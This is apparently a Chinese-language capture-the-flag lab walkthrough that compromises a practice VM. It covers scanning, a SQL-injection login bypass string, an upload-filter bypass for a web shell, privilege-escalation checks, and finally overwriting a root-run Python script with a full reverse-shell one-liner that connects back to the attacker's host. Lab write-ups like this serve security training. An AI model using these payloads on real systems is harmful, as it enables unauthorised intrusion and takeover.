0x01 信息收集
nmap -sV 10.0.2.6
22 ssh端口,弱口令爆破为主
80 web页面 目录遍历,备份文件查找等
dirsearch -u http://10.0.2.6
获取了目录,发现存在一个maseradmin目录,可能存在些东西,继续扫。
dirsearch -u http://10.0.2.6/masteradmin
发现了db.php login.php upload.php 三个页面
0x02 sql注入
我们先看下页面。登陆页面的测试思路主要是sql注入,弱口令 js文件等。这里测试发现了万能密码,也就是说存在sql注入
admin' or'1'='1'#
同时我们也可以用sqlmap跑出数据库。
0x03 文件上传
登录后发现是个上传界面
尝试上传图片或者php,发现都无法上传。发现左上角有个黑色的字体
extension not allowed, please choose a CENG file.
好像只允许上传CENG后缀的文件
上传后发现返回包并不会返回上传路径。
不过前面在信息收集的时候发现了一个uploads/ 目录,尝试访问试试。
发现确实是上传上去了,不过有个告警。测试了下,发现并没什么用,shell文件正常反弹回来了
(因为是apache,所以盲猜是.htaccss文件里面将ceng解析成了php,后来连接后也验证了)
0x04 提权
suid提权
find / -perm -u=s -type f 2>/dev/null
发现并没什么能提权的东西。
计划任务提权
cat /etc/crontab
还是没啥可利用的。
切换目录
尝试去各各目录看看。这里在看的时候,突然想到之前信息收集获取到的db.php文件。赶忙去看下,结果总算有了收获。
获得了数据库的账户密码,但是由于没开3306端口,并没有办法连接。
不过上面我们还通过sql注入获取了一个账户,尝试切换登录试试。
发现登录成功!这里还是老样子,suid提权 任务计划看看,找了半天,并没有什么能提权的思路。
上传脚本检测
python -m SimpleHTTPServer 80 # 本地开一个简单http服务
查看操作系统版本,是64位的
umane -a
上传64位的检测脚本 pspy64
执行该脚本
这个脚本的作用是实时检测系统中运行的进程
chmod +x pspy64
./pspy64
发现一条可用信息,root权限运行md5check,去看看是什么
/opt/md5check.py
发现 user 组用户可读可写,而我们cengover用户刚好属于user组
把这个文件改掉,改为 python 反弹shell 即可
python -c
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.2.4",8888));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
启动监听,等待 md5check 自动运行
成功反弹回shell